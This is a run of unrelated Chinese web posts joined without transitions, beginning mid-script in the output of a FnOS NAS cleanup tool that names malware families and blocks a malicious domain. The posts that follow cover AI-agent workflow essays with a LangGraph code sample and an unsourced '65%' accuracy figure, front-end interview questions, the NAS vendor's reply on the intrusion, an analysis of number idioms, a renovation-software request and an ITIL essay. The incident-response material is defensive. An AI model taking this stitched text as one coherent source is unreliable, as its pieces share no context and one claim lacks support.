echo "   2. 检查 /root/.ssh/authorized_keys 是否有陌生公钥"
echo "   3. 建议重启系统以确保所有内存加载项已清除"
echo "   4. 如有疑虑,可将日志与隔离文件交给安全团队复核"
echo "===================================================="

咋用不说了吧?
ssh 上去 root 权限执行

我都杀了 6 次了,执行结果

====================================================
   FnOS 安全应急处置工具 v2.1 (精准 IOC 版)
====================================================
⚠️  覆盖威胁: gots / trim / snd_pcap / bkd / killaurasleep
📌  操作逻辑: 隔离文件 -> 阻断网络 -> 清理服务 -> 修复启动项
====================================================
请选择操作模式:
  1) 仅检测(推荐先跑,无风险)
  2) 自动修复(执行阻断、清理、修复)
  3) 仅封禁网络(防火墙 + Hosts )
  4) 退出

请输入选项 [1-4]: 2
----------------------------------------------------
⚠️  注意:修复过程中会停止恶意进程并移动文件。
⚠️  建议您已备份重要数据。是否开始执行? (y/N): y
----------------------------------------------------
🛑 [3] 阻断恶意通信...
   - [防火墙] 已封禁恶意 IP (nftables)
   - [Hosts] 域名已劫持: xd.killaurasleep.top
✅ 网络阻断策略已应用
🔪 [4] 终止恶意进程...
✅ 进程清理完成
🧹 [5] 清理恶意 Systemd 服务...
✅ Systemd 服务清理完成
🧠 [7] 清理恶意内核模块...
ℹ️ 未发现 snd_pcap 模块
🔧 [8] 修复通用持久化配置...
✅ 持久化配置检查完成
🔧 [9] 修复 FnOS 特定启动项...
ℹ️ 未找到 /fnos/usr/trim/bin/system_startup.sh ,跳过
🔎 [6] 深度扫描并隔离文件...
   正在扫描目录: /usr/bin
   正在扫描目录: /usr/sbin
   正在扫描目录: /usr/trim
   正在扫描目录: /tmp
   正在扫描目录: /var/tmp
   正在扫描目录: /root
🚨 发现威胁文件: /root/fnos_quarantine_2026-01-31_153410/system_startup.sh_1769843919_1769844857.infected  (原因: content-hit:STRICT )
   -> 已隔离至备份目录
🚨 发现威胁文件: /root/fnos_quarantine_2026-01-31_153410/accountsrv_1769844855.infected_1769844858.infected  (原因: content-hit:STRICT )
   -> 已隔离至备份目录
✅ 文件扫描完成

====================================================
✅ 操作已结束
📁 隔离文件目录: /root/fnos_quarantine_2026-01-31_160749
📄 详细日志记录: /var/log/fnos_security_fix.log
💡 安全建议:
   1. 立即修改 SSH 密码和 FnOS 后台密码
   2. 检查 /root/.ssh/authorized_keys 是否有陌生公钥
   3. 建议重启系统以确保所有内存加载项已清除
   4. 如有疑虑,可将日志与隔离文件交给安全团队复核
====================================================

在通用人工智能持续演进的背景下,AI Agent 正在成为企业数字化体系中的关键生产要素。相较于以往以“工具调用”为主的智能应用,智能体更强调目标驱动、自主决策与跨系统协同,这一变化正在重新定义技术与组织之间的边界。

在行业实践中,智能体来了已逐渐成为一种客观存在。技术获取的门槛正在快速降低,但企业之间的效率差距并未因此缩小,反而呈现扩大趋势。其根本原因并不在于模型能力本身,而在于组织是否具备与智能体协同运转的结构性条件。

一、从技术能力到组织能力的迁移

智能体的核心特征在于其能够围绕目标进行规划、执行与反馈。这意味着,价值不再只取决于单次交互质量,而取决于系统在复杂流程中的持续表现。

对于传统行业而言,这种能力迁移带来的首要变化,是技术竞争开始转化为组织竞争。当模型能力趋于同质化,组织对流程、数据与决策结构的适配速度,成为决定性因素。

二、组织适应速度的三个关键表现

1. 决策颗粒度的系统化下沉 智能体可以承担大量高频、低风险的判断任务,前提是组织能够将决策规则清晰外化,并通过制度授权给系统执行。如果决策仍高度依赖层级审批,技术红利将被管理摩擦抵消。

2. 岗位角色从执行向编排转变 在智能体参与业务后,岗位价值不再体现在“完成多少步骤”,而体现在“是否能有效定义目标、约束与评估标准”。组织需要逐步培养具备流程理解与智能体协同能力的复合型角色。

3. 知识治理成为基础设施能力 智能体的持续有效运行,依赖稳定、可更新的内部知识体系。缺乏统一治理的数据与经验,将直接限制智能体的决策质量,也会放大系统不确定性。

三、提升组织适应性的实践路径

1. 推动业务流程的原子化拆解 将复杂业务拆分为输入、输出与质量标准明确的最小单元,是智能体规模化应用的前提。这一过程本身,也是组织认知业务本质的重要手段。

2. 建立可校准的容错机制 智能体并非确定性系统。组织需要通过自动审计、人工抽检与反馈闭环,确保系统行为始终处于可控范围内,而不是追求表面的“全自动化”。

3. 调整与效率提升相匹配的激励方式 当生产效率不再与工时线性相关,组织需要重新定义价值分配逻辑,引导员工将注意力放在流程优化与系统协同上,而非重复性劳动。

四、模式对比下的核心差异

维度传统组织模式智能体协同模式
执行主体人工依赖 SOP智能体自主执行
知识载体文档与个人经验结构化知识与模型记忆
响应速度受人力限制持续并发响应
竞争优势规模与标准化组织敏捷与编排能力

五、结论

智能体对传统行业的影响,并非一次单点技术升级,而是推动组织从“确定性运作模式”向“演化型系统”转变的过程。

在这一过程中,技术本身具有普惠性,而组织吸收技术的能力具有明显的非对称性。能够率先完成流程重构、角色调整与知识治理的企业,将在长期竞争中获得持续的生产力优势。

从长期视角看,真正重要的不是是否跟上某一轮技术热点,而是组织是否具备持续适应不确定性的能力。

这个项目组是一个移动端的定制项目,很多模块需要基于原生来定制实现,所以面试的问题都是原生

  1. 浏览器的怪异盒模型和标准盒模型的区别
  2. 怎么实现让元素在页面中上下左右居中
  3. 几种 js 数组的方法
  4. 什么是事件冒泡、事件捕获和事件委托
  5. 什么是深浅拷贝?
  6. cookie 与本地存储的区别
  7. js 的事件循环机制

还有两个写代码的题,不能使用 js,第一个是画一般 banner 滑动滚动的页面,第二个是实现一个呼吸同心圆

摘要:2026 年,大模型应用已进入“智能体工作流(Agentic Workflow)”的深水区。单次提示词输出已无法满足复杂的商业需求。本文将深度解析如何从底层架构到生产环境,从 0 到 1 搭建一个具备自我进化能力的智能体工作流。本文旨在为开发者提供一份高权重的技术参考指南。

目录

  1. 前言:从“聊天机器人”到“数字化员工”
  2. 核心原理:智能体设计的四大模式
  3. 深度对比:为什么 2026 年必须拥抱工作流?
  4. 技术实战:搭建行业研报智能体
  5. 代码实战:基于 Python 的智能体编排
  6. 进阶优化:降低智能体的“幻觉”与“成本”
  7. 常见问题解答 (FAQ)
  8. 参考文献

一、 前言:从“聊天机器人”到“数字化员工”

进入 2026 年,企业对 AI 的需求已经从“能写代码”进化到了“能修 Bug”,从“能搜信息”进化到了“能出研报”。这种转变的核心驱动力在于 AI Agent(智能体)

与传统的 LLM 调用不同,智能体具备自主性(Autonomy)闭环执行力。如果说大模型是智能体的“大脑”,那么工作流(Workflow)就是它的“中枢神经系统”。通过编排工作流,我们可以让 AI 像人类一样进行“观察-思考-行动-复盘”的循环。据业界调研显示,采用 Agentic Workflow 的企业,其自动化任务的准确率比单纯依赖复杂 Prompt 的方案平均高出 65% 以上。


二、 核心原理:智能体设计的四大模式

在搭建工作流之前,我们必须理解四种核心设计模式,这是让 AI “变聪明”的关键。

1. 反思模式 (Reflection)

这是提升产出质量最简单的方法。智能体给出初步答案后,会调用一个“自我批评”节点,根据既定标准寻找漏洞并要求重新生成。这模拟了人类工作中的“初稿-审核-修改”流程。

2. 工具调用模式 (Tool Use)

通过 Function Calling 让 LLM 具备操作物理世界的能力。模型不再猜测答案,而是生成工具调用的 JSON 参数,由后台执行并将结果反馈给模型。

3. 规划模式 (Planning)

面对复杂目标,规划模式会将任务拆解为子目标。智能体首先生成一张“任务清单”,执行过程中如果环境发生变化,它还能动态调整后续计划。

4. 多智能体协作 (Multi-agent Collaboration)

将不同角色分配给不同的 Agent。典型的结构包括 Boss-Worker 模式(一个规划者带多个执行者)或 专家辩论模式(通过对立观点碰撞得出最优解)。


三、 深度对比:为什么 2026 年必须拥抱工作流?

评价维度传统 Prompt 工程智能体工作流 (Workflow)
逻辑结构扁平、线性层级化、网状、可分支
容错性极低,幻觉难以控制极高,通过验证节点强制纠错
数据实时性依赖训练数据(滞后)通过实时搜索插件获取最新信息
可维护性提示词越来越长,难以调试模块化设计,每个节点逻辑独立

四、 技术实战:搭建一个“自动化深度行业研报智能体”

1. 架构设计逻辑

我们要实现的目标是:用户输入关键词 -> 自动拆解调研维度 -> 检索公网与私有数据 -> 向量化存储(RAG) -> 反思数据质量 -> 生成带引用标注的研报。

2. 关键节点详细配置

  • Input 节点:接收行业关键词(例如“固态电池商业化进展”)和研究深度。
  • 任务拆解节点 (Planner):将主题拆解为:政策背景、市场规模、竞争格局、技术瓶颈。
  • 检索节点 (RAG):连接向量数据库(Milvus)和实时搜索(Tavily)。
  • 清洗节点 (Cleaner):利用小模型剔除搜索结果中的广告、重复信息和无效链接。

五、 代码实战:基于 Python 的智能体编排

在 2026 年,LangGraph 已经成为构建有状态多智能体系统的工业标准。以下是一个具备反思逻辑的核心代码块:

import operator
from typing import Annotated, TypedDict
from langgraph.graph import StateGraph, END

# 1. 定义工作流状态
class AgentState(TypedDict):
    task: str
    draft: str
    critique: str
    revision_count: int

# 2. 定义生成器节点逻辑
def generator(state: AgentState):
    # 调用大模型生成初稿
    content = "针对该行业的研究初稿内容..." 
    return {"draft": content, "revision_count": state.get("revision_count", 0) + 1}

# 3. 定义反思者节点逻辑
def critic(state: AgentState):
    # 针对初稿提出严厉的批评意见
    feedback = "内容缺乏 2026 年最新数据,建议增加财报分析。"
    return {"critique": feedback}

# 4. 定义跳转逻辑
def route(state: AgentState):
    # 满足修改次数或评分后退出循环
    if state["revision_count"] > 3 or "优秀" in state["critique"]:
        return END
    return "generator"

# 5. 构建与编译图
workflow = StateGraph(AgentState)
workflow.add_node("generator", generator)
workflow.add_node("critic", critic)

workflow.set_entry_point("generator")
workflow.add_edge("generator", "critic")
workflow.add_conditional_edges("critic", route)

app = workflow.compile()

六、 进阶优化:如何降低智能体的“幻觉”与“成本”

1. 动态提示词 (Dynamic Prompting)

不要使用静态 Prompt。根据工作流当前的进度(步骤编号),动态向上下文中注入不同的元指令。例如,在“总结阶段”,提示应侧重于格式规范,而不是发散思考。

2. 知识增量与模型路由 (Model Routing)

  • 复杂规划节点​:使用 DeepSeek-R1 或 GPT-4o 等高性能模型,确保决策准确。
  • 信息清洗节点​:路由到性能强大且廉价的小模型(如 Llama-3-8B 或 DeepSeek-Lite),可节省约 70% 的 Token 成本。

七、 常见问题解答 (FAQ)

Q1:智能体反应速度太慢,用户体验差怎么办?

A: 采用 ​流式输出 (Streaming)​,让用户实时看到智能体的“思考过程(CoT)”。同时,利用并行节点加速多个互不依赖的搜索任务。

Q2:如何保证智能体不执行危险指令?

A: 建立 ​权限隔离层 (Sandbox)​。智能体生成的代码应在受限的沙盒环境中运行,并在工作流的最末端设置安全护栏模型进行双向审计。


八、 参考文献

  1. Wei, J., et al. (2022). Chain-of-Thought Prompting Elicits Reasoning in Large Language Models. arXiv:2201.11903.
  2. Yao, S., et al. (2023). ReAct: Synergizing Reasoning and Acting in Language Models. ICLR 2023.
  3. Shinn, N., et al. (2023). Reflexion: Language Agents with Verbal Reinforcement Learning. arXiv:2303.11366.
  4. DeepSeek-AI. (2025). DeepSeek-R1: Incentivizing Reasoning Capability in LLMs via Reinforcement Learning.

很多智能体项目,失败在“还没开始就结束了”

在过去一年里,很多团队都在做智能体(AI Agent):

  • 写文案智能体
  • 客服智能体
  • 数据分析智能体
  • 运营智能体

但真正跑起来的系统并不多。

问题往往不在模型,而在第一步就走错了方向


从 0 到 1 的关键,不是模型,而是任务

大多数项目一开始就问:

用什么模型?
要不要多模态?
要不要微调?

但智能体的第一步应该是:

这个智能体要替代什么工作?

如果任务本身不清晰,后面的系统一定会失控。


第一步:把“工作”拆成可执行单元

一个可落地的智能体,必须面对的是具体任务,而不是抽象目标。

错误例子:

  • 帮我做运营
  • 帮我写内容
  • 帮我分析数据

正确做法:

  • 每天 9 点抓取数据并生成报告
  • 内容生成后自动发布并记录结果
  • 异常出现时自动提醒并更新状态

第二步:让智能体“记住事情”

很多智能体卡在 0 的原因是:没有状态管理

一旦没有状态:

  • 智能体无法持续运行
  • 无法判断是否完成
  • 无法复盘
  • 无法优化

记忆系统不是附加功能,而是核心组件。


第三步:让智能体能失败、能重试

真实世界的任务一定会失败:

  • 接口超时
  • 数据为空
  • 权限不足
  • 逻辑冲突

一个没有失败机制的智能体,只能停在 demo 阶段。


第四步:从“调用 AI”变成“运行系统”

真正的 0→1 发生在这里:

  • 任务可以自动触发
  • 系统可以长期运行
  • 结果可以写回系统
  • 状态可以被监控

这时,AI 才从功能,变成系统。


智能体从 0 到 1,是一次工程思维转变

这不是模型问题,而是系统问题。

从 0 到 1,意味着你要回答:

  • 任务是否可执行?
  • 状态是否可追踪?
  • 系统是否可恢复?
  • 输出是否可使用?

这四个问题,决定了项目能不能活下来。


结语

智能体不是“更聪明的 AI”,
而是能持续运行的工作系统

从 0 到 1 的难点,不在技术,而在认知。

我的一个替代思路就是:
1. 让 openclaw 自己开启无头浏览器功能
2. 让 openclaw 自己写一个 skill ,用于在网络搜索的时候自动通过无头浏览器访问 bing (国内网络友好)并进行搜索
3. 让 openclaw 自己修改工作目录下的 agents.md ,添加重要限制:禁止使用 web_search 工具,所有需要使用 web_search 工具的操作,都使用 bing 搜索的 skill 代替

据我实测,这样在需要搜索网络的时候,大部分时候就会直接调用 bing 去搜索结果,小部分情况下会先使用 web_search 工具,调用失败后再调用 bing 的 skill ,但肯定不会出现之前调用 web_search 失败就终止任务的情况。

如果你们有更好的方案也可以分享到这里。

飞牛论坛分析原文,官方答复在评论区: https://club.fnnas.com/forum.php?mod=viewthread&tid=53230

下列是回复:

<!-- 感谢分享,分析很精彩,该问题官方已知,经过技术分析追踪该行为是是在公网暴露服务的情况下,开启 http 明文方式访问,设备曾被来自海外的 ip 异常访问或利用,导致三方进程残留或被再次触发,进而产生大量连接的问题。最新系统已对该特征做过滤与防护。
但 http 的明文访问方式本身存在高风险,因此建议

遇到该情况,建议按以下步骤确认一下设备安全
1. 确认当前飞牛系统版本已升级至最新版本 1.1.15
2. 确认在关闭公网端口映射情况下,异常上传行为是否停止
3. 确认设备公网访问场景下,是使用的 HTTPS 与 FNID 或其他加密访问方式

针对遇到问题后重装,需要注意
1. 检查新系统中是否存在非飞牛默认服务的进程、容器或计划任务
2. 需重点关注异常文件是否位于数据盘中,系统重装后仍可能被再次触发

如果在以上操作后,依然遇到疑似风险访问行为,可与官方联系

我们也欢迎技术专家通过官方渠道向飞牛提交安全漏洞线索,经确认的首个有效线索,将获得相应的安全反馈激励。漏洞反馈入口:
https://trim-nas.feishu.cn/share/base/form/shrcnYhRB4ryb9K8Te9GEqeRYYe?from=from_parent_docs

HTTP 在公网传输中存在固有的安全缺陷。最有效的防护措施,就是避免在公网直接使用 HTTP。 -->

以及

<!-- Q:普通用户不开公网,会不会有危险?
飞牛社区主理人
A:不纯是公网原因,明文访问方式才是高风险的关键,有公网的情况下,强制 HTTPS 能避免当前情况 -->

Matrix 首页推荐

Matrix 是少数派的写作社区,我们主张分享真实的产品体验,有实用价值的经验与思考。我们会不定期挑选 Matrix 最优质的文章,展示来自用户的最真实的体验和观点。

文章代表作者个人观点,少数派仅对标题和排版略作修改。


带数字的成语,你一口气不停说,停顿 5 秒以上就算输,最多能说多少个?

先分享个小技巧:这游戏想要玩得好,优先想带「一」的成语。如果偶然想到带其他数字的成语,发散完没有头绪不要恋战,回到「一」来。而且,优先想「数字字字」和「字字数字」这种格式的词。

这技巧我怎么知道的?因为我对 3 万多个成语做了详细的数据分析,感兴趣请往下看。

数据准备

首先,要分析成语,先得把成语都找出来。稍微了解了下,不同词典收录的成语数量不同,数量范围在 3-5 万个之间。

Modelscope找到一份数据集,包含 3 万多个成语,足以支撑我的研究:https://modelscope.cn/datasets/Lawrenceshi/Idiom-solitaire 这个数据集本身也挺有意思,可能是为研究成语接龙而创建的,它把每个成语首字和尾字拼音都单列出来了。

不过我的研究方向有所不同,我只需要成语本身(word)和释义(explanation)两项足矣。

把成语中的数字词提取出来,单独一列,便于后续分析。

另外,成语中绝大多数都是四字成语,占比达到 95% 以上。我们提到「成语」这一概念时,更多还是指狭义的四字成语。虽然非四字成语也包含数字词,如「三下五除二」「一而再,再而三」,但由于总量较小,排除掉对结果影响不会很大。

后续的研究都仅围绕四字成语展开。

成语中有哪些数字?

不过,提取数字词的过程中,我发现这事情不能深想,这里面水很深。我们得定义一下这个课题本身。我研究的是成语中的「数字词」,还是成语中的「数字」?

这完全是两个概念。前者只需看常规的数字词是否出现,后者要关注成语中是否出现表达数字的含义。由于研究对象本身就是一种文化现象,我认为应该从含义的角度出发。所以,成语中的数字,要把那些「是数字词但表达含义不是数字」的剔除掉,同时还要把「不是数字词但含义等同于数字」的包括进来。

任务难度提高,我们一步步来。先看「是数字词但表达含义不是数字」这种情况,真的存在吗?

狭义的数字词有「一二三四五六七八九十百千万亿」这些。经过研究发现,它们在成语中无论是实指还是虚指,都没有脱离数的含义。顶多是类似于「三」泛化为「多」这样的用法,但它们的含义是从一个具体的数发展出来的,仍然可以视作数字。

「不是数字词但含义等同于数字」的情况呢?应该马上有人能想到,「二」和「两」经常可以相互替代。没错,「二」确实是个很特殊的数字,它似乎有许多变体:「两」「双」「偶」「再」「复」。

我把其中部分变体也作为数字词,加到筛选条件中。把含有这些变体的成语单独提取出来,合并到一个专门的文件中,结合成语释义,交给 AI 判断它在里面表达的是不是数字的含义。结果如下:

  • 「两」字除了表达计量单位的意思,其余都是数字词。
  • 「双」全是数字词。
  • 「偶」只有「无独有偶」是数字词,其他的含义大多和「机会」有关。

为什么「再」「复」不算数字 2 的变体?因为它们加了一层时间含义,第二次,有明确的「先」与「后」的概念,与纯粹的数值不同。其他数字有没有这样的变体?完全等同的精确指代没有。「众」「群」等模糊指代有的,但这些不是确切的数,我认为不能算进来。

我不放心 AI,又人工筛选了一遍,发现 Gemini 2.5 Pro 其实准确率非常高。人工筛选的和它筛选的结果对比,AI 只有 3 处遗漏,而且还发现了我的一处判断错误。

我尝试思考,为什么只有「二」有这么多变体,其他数字却没有?

一番查证,发现「二」在中华文化里真的很特殊。我们是一个高度崇尚二元论的文明,古代哲学中处处可见阴阳、乾坤、虚实等对立统一的世界观,导致数字 2 在文化上有大量衍生和泛化。比如「两」这个字,是符合二元论哲学的典型,它最初的意思是「天然成对的事物」,从字形上也能看出来,与「二」纯粹指代序数有所不同。想一想,只能用「两」不能用「二」的场合,是不是有许多事物都是成对的、或者对称的?另外,大写数字「贰」的来历,里面加入的这个「贝」字,也是在借用贝壳两半成对的含义。

展开分析

言归正传,既然我们把「带有数字含义」的四字成语都成功筛选出来,研究可以正式开始了。

带数字成语的比例

在 29502 个四字成语中,有 2431 个带有数字含义,占总量的 8.2%。

成语数字词出现频率

在后续的分析中,我把含义相同的数字词都算到同一个数上,也就是把「两」「双」「偶」的数据都归到「二」里。为表示它是广义的数字「二」,我把它写作「(2)」。

数字词出现频率的规律:

  • 「一」遥遥领先,约是第二名的 3 倍。
  • 两头高中间低。「一二三」「百千万」用得多,普遍为中间数字的 2 倍多。可见古人造词也爱走极端,不夸张不足以抓人眼球。
  • 「亿」几乎没人用。

关于「亿」可以多说几句。我做研究前就认为它在成语中应该极少出现,把它加进来分析是作为「对照组」。因为「亿」是这里面唯一一个万进制数字,其他都是十进制数字。

从十开始,每个数字 10 倍递进。到了万之后,这几乎触及古人日常生活中的数量级天花板,再往上没有造词的必要了。但统治者不同,统治者处理天文数字。只是他同样不能再往上造词了,因为上面数量级太多,造多了根本记不住。采用「民间」最高数量级万来递进,中间的用复合单位来表示,十万、百万、千万、万万 = 亿…… 这样一个体系,既不增加新概念,又能很好表达各数量级的大数。

我在这篇文章里详细解释了这个观点: 为什么英语中没有万这个单位?

成语数字词的数量

四字成语中,数字词占了其中几个字?

1 个数字词的成语占 64.1%,2 个占 35%,这两者加起来就 99.1% 了,3 个和 4 个的极少。3 个的如「三六九等」,4 个的如「一五一十」。看到这里不得不说,成语真是文化的高度浓缩,可以说是意义的多层包浆。想象一个不懂中文的歪果仁看盯着「一五一十」这个词:

One, five, one, ten?是说一个东西是另一个两倍那么厉害吗?

成语数字词组合

有两个及以上数字词出现时,它们是如何相互组合的?哪些数经常一起使用?我先讲讲怎么看这图,它是一个条件概率热力图,先选一行横着看,再看其中某一列。

比如第「三」行第「四」列表示,所有含「三」的(2 个数字词)成语中,也含有「四」的占了 26%。反过来,第「四」行第「三」列表示,所有含「四」的成语中,也含有「三」的占了 59%。

严谨地解释一遍。这个图里每个格子的概率来自两个数相除,分母是包含行数字的成语数量,分子是同时包含行数字和列数字的成语数量,约束条件是所有带有 2 个及以上数字词的成语。这张图上能看出的东西就非常丰富了:

  • 「一」雨露均沾,对其他数字没有明显偏好。
  • 「二三四五六」倾向于和相邻或相近的数组合,对「三」尤其依赖。如「两面三刀」「三从四德」「三令五申」「五脏六腑」。
  • 「七八」是好基友,基本只认彼此。如「七上八下」。
  • 「九十」组合也非常常见,两个大数表示多。如「十拿九稳」。
  • 较大的偶数有「减半组合」现象,和自身的 1/2 组合,比其它数字明显高一些。如「三头六臂」「四平八稳」「五光十色」。
  • 「九」和「三」也构成了特殊的组合,尤其是「九」依赖「三」,如「三教九流」。这里面莫非有平方的思想?
  • 从「百」开始,大数的组合模式只剩两种:和「一」组合表示反差,如「一落千丈」;和相邻大数组合表示非常多,如「千头万绪」。
  • 竖着看,「一」和「三」是最被需要的数字。这也与出现频率那章结论相符。

成语数字词重复

这里还有个小插曲。由于这分析代码是 AI(Claude 4 Sonnet)写的,对于这种复杂的热力图,我不太信任 AI 的算法,特意验证了一遍。

热力图里的成语,每一个都包含至少 2 个数字词,每一行已经锁定了其中一个数字词,行里的格子是另一个数字词出现的概率。理论上,每一行的概率之和应该接近于 1。但为什么不刚好是 1,有两个因素会使概率之和偏移:

  • 当成语中出现3个甚至更多不同数字词(如「三六九等」),会在多个格子中重复出现,分别独立计算概率,导致概率之和偏高。
  • 当成语中仅有一种数字词但出现多次(如「一心一意」),它不会出现在任何一个格子里(其实它就在没有数字的对角线白格里),却会被算进分母中,导致概率之和偏低。

和 AI 讲了我这个观察,它认同偏高的原因,却不同意偏低的原因。它坚称每行概率之和理论上只会大于等于 1,如果有小于一的情况是数据精度导致的误差。我亲自一算就发现不对劲,第「一」行之和只有 0.74,离 1 也太远了,精度再差也不能差掉 1/4 啊。和 AI 来回拉锯几轮,它顶不住我的追问,决定在代码里写一些验算逻辑。验算完发现我是对的,偏低真是这个原因。

验算也让我发现了两个特殊数字。绝大部分数字概率之和都在 1 附近,上下偏离极小。但「一」的概率之和是 0.74,「百」的概率之和是 0.9,表明这两个数字词确实有大量重复出现的情况。想想确实如此:「一朝一夕」「一草一木」「一唱一和」「百战百胜」「百发百中」「百依百顺」……

成语数字词位置

再看看数字词在四字成语里通常出现在什么位置。

只包含一个数字词的成语,绝大部分数字都出现在第 1 个或第 3 个字。

包含 2 个数字词的成语,数字位置就有 6 种组合:1-2 型(数数字字)、1-3 型(数字数字)、1-4 型(数字字数)、2-3 型(字数数字)、2-4 型(字数字数)、3-4 型(字字数数)。

1-3 型占绝对主导,正是典型的「三番五次」模式。2-4 型少很多,但也远超其他,「横七竖八」模式。3 个及以上数字词的成语就没什么好分析的了,总量才 22 个。另外,只有 1 个数字词的成语还能继续挖掘,看看每个位置上都是些什么数字。

无论几号位,都是「一」最多,1 号位和 3 号位领先优势尤其明显,一骑绝尘。

忽略「一」的领先,其他数字在 1 号位分布相对平均(除了「百」较多),而在 3 号位出现明显的微笑曲线式分布。

「(2)」在 2 号位和 4 号位表现非常突出,相信「双」字在这里作出了巨大贡献。虽然比例可观,但总量其实很少,所以这两个位置的规律未必能说明什么。

关于微笑曲线我有个猜测。只有 1 个数字词的成语,和有 2 个数字词的成语,在语法结构上有明显不同。在这短短 4 个字里,1 个数字的成语,前两字和后两字是有明确分工的,前者更倾向于表达事物本体,而后者更倾向于形容前者,比如「一飞冲天」。而 2 个数字的成语,前两字是一个一件事,后两字是另一件事,靠对仗排比的手法让人明白它的内涵,如「百媚千娇」。

回到 1 个数字的成语。既然前者是本体,考虑到文化和历史的丰富性,各种数字都可能出现,因为有许多约定俗成。如「五雷轰顶」,你不能随随便便换成「一雷」「百雷」。

而后者是形容,所以可以怎么夸张怎么来,中间不大不小的数字用处不大。「雷霆万钧」和「雷霆九钧」哪个更有张力?你一看便知。

虽然也有倒过来的用法,如「不堪一击」。但你仔细品味,有没有觉得倒过来的用法似乎给人一种「倒装句」的感觉?汉语常规语序(包括古文)里是不是更多说「什么东西怎么样」?似乎主体先说出来对信息传递更有利,所以总体而言 1 号位数字更多是本体,3 号位数字更多是形容,导致了这种差别。

成语数字词大小

再看看数字大小在四字成语中有什么规律。既然要比较大小,就至少得有 2 个数字词。由于 3 个和 4 个数字词的成语极少,这里只分析 2 个数字词的成语。

数字增大的情况占多数,减小的情况次之。两数相等其实就是重复使用,这种用法最少。可见数字增大的递进式表达更加自然,信息传递效果更佳。

再细看每种位置组合的大小情况,也就是:1-2 型(数数字字)、1-3 型(数字数字)、1-4 型(数字字数)、2-3 型(字数数字)、2-4 型(字数字数)、3-4 型(字字数数)。

由于 1-3 型和 2-4 型占了绝大多数,我们重点看图 2 和图 5:

  • 1-3 型的大小关系和整体情况接近。如「一石二鸟」「双宿双飞」「万紫千红」。
  • 2-4 型更极端,明显由数字增大的情况主导。如「隔三差五」,另两种模式我竟然一个也想不到。

其他类型数量太少,图表没什么意义。

成语数字词奇偶

奇数与偶数在汉语中也有显著区别。奇数为阳,偶数为阴。来看看(十以内)奇偶数在成语中的情况。

由于「一」傲视群雄的使用频率,仅含奇数的成语占到一半以上。仅含十以上大数的次之,奇偶数都有再次,最少的是仅含偶数的成语。看来阴数确实在文化上就矮一头,不受待见。

单独分析仅含 1 个数字词的成语,无论在几号位上,奇数都力压偶数,1 号、3 号位尤其明显。到含 2 个数字词的成语里,情况就有变化了。这里我们只分析 1-3 型和 2-4 型成语,因为其他类型总数太少了。

1-3 型的 1 号位奇数占绝大多数,但 3 号位两者持平。当头先来一个阳数,后面可阳可阴,「一波三折」、「七上八下」。

2-4 型的 2 号位也是奇数占绝大多数,但 4 号位完全反转。阳数还是得在前,阴数结尾,「丢三落四」、「横七竖八」。但这背后有什么文化原因,我还没想明白。

可见,无论从哪个角度,成语中的文化可以只用阳数,也欢迎阴阳调和,但基本拒绝只用阴数。

结语

数据分析这个技能很有意思。我学了它这一年多以来,没做过什么正经事,完全当玩具在用了。用来满足我的各种突发奇想,比如我之前还研究过英语单词重音的分布规律。整一套分析下来,没有任何对生活有直接帮助的结论,纯粹图一乐呵。

不过,我更想知道语言学者和语文老师此刻感想,或许能联想到什么关键因素,从中挖掘出更多数据背后的文化和历史。如果你有新的发现,欢迎和我分享。

最后,开头的游戏你玩了吗?最高记录可以连续说多少个?

> 关注 少数派小红书,感受精彩数字生活 🍃

> 实用、好用的 正版软件,少数派为你呈现 🚀

    最近在为新房装修做准备工作,接触了几家装修公司,发现他们很难帮我管理和细化需求,基本都是用表格或 cad 图纸去简单设计一下。

    我想有一套系统,能采用逐步深入的方式帮我对装修进行规划、设计和需求进行管理。

    比如说:

    1.能让我选择新房所在的小区,帮我查找相同的户型图(酷家乐目前有这个功能)。

    2.能让我对户型图做简单的修改,比如改墙改房间等。

    3.能让我选择我想要的装修选项,并生成汇总。比如让我勾选或选择水电方面的需求,也能选打包好的服务比如做防水的公司和工艺,能选择瓷砖规格,选择吊顶样式,柜子、床的规格等。然后自动帮我做水管线管规划,插座开关面板的规划,瓷砖排版,能帮我智能规划家具的排放防止过道过窄等。系统给出的规划也支持我自己个性化修改。

    4.希望这个系统有一套非常强大的智能模板,比如根据我的规划帮我统计角阀、龙头等建材的用量,也支持我自己修改数量,也能集成很多供应商包括报价。

    5.能根据我的选择大概给出相应的报价,如果这个系统能集成一些建材、家具供应商、装修公司并开出相应的报价当然最好了。

    6.能根据我的配置帮我生成相应每个大项的表单,方便我在装修过程中对每一项进行管理和验收,以及费用管理。

    大家帮我推荐下有没有现成的系统?或者分析下如果创业做一套这样的系统有没有市场?

    如果你真正系统学习过 ITIL 4,并且尝试在真实组织中落地过它,而不是只停留在考试或概念层面,那么你大概率会有一种并不容易言说的感受:ITIL 4 是对的,也是先进的,但在一些关键时刻,它给人的帮助总像是差了最后一步。

    你会发现,它在流程设计、协同机制、持续改进等方面非常成熟,也确实能解决大量“把事情做好”的问题。然而,当你面对的不是稳定业务,而是持续变化的数字化产品、平台型服务或高度自动化的系统时,很多真正棘手的问题,并不能仅靠流程优化得到答案。

    尤其是在方向发生漂移、价值开始模糊、环境高度不确定的情况下,ITIL 4 很少正面回答一个问题:当事情本身可能已经不再值得继续时,究竟由谁来判断方向是否需要调整?

    这一点,正是 ITIL 第5版 试图补上的核心逻辑。

    图片

    1.那条被忽略的暗线,其实一直贯穿在 ITIL 4 中

    需要先说明的是,ITIL 4 并不是完全没有意识到“判断”这件事的重要性。恰恰相反,如果你仔细回看 ITIL 4 的整体表述,会发现它反复强调一些看似非常宏观、甚至相当前沿的理念,比如价值共创、整体思维、以结果为导向、与业务目标对齐等。

    这些理念本身没有任何问题,甚至可以说,它们为 IT 服务管理摆脱纯粹“运维工具论”提供了非常重要的思想基础。ITIL 4 明确告诉你,服务不是为了流程存在,而是为了创造价值;IT 也不是孤立部门,而是价值链的一部分。

    但问题恰恰出在这里。这些表述在逻辑上,默认了一个前提:价值方向是已经确定的。在这个前提下,管理的重点自然落在如何协同、如何优化、如何持续改进执行过程,而不是反过来质疑“这个方向是否仍然成立”。

    换句话说,ITIL 4 讲得很清楚“怎么把事情做对”,却很少继续追问“这件事情是否还值得继续做”。这条逻辑线并非不存在,而是被有意压低了音量。

    2.ITIL 4 讲不透判断问题,并不是能力不足,而是定位选择

    很多人会误以为,这是 ITIL 4 的缺陷,甚至认为它在数字化时代已经不够用。但如果从历史背景和体系定位来看,这种评价并不公平。

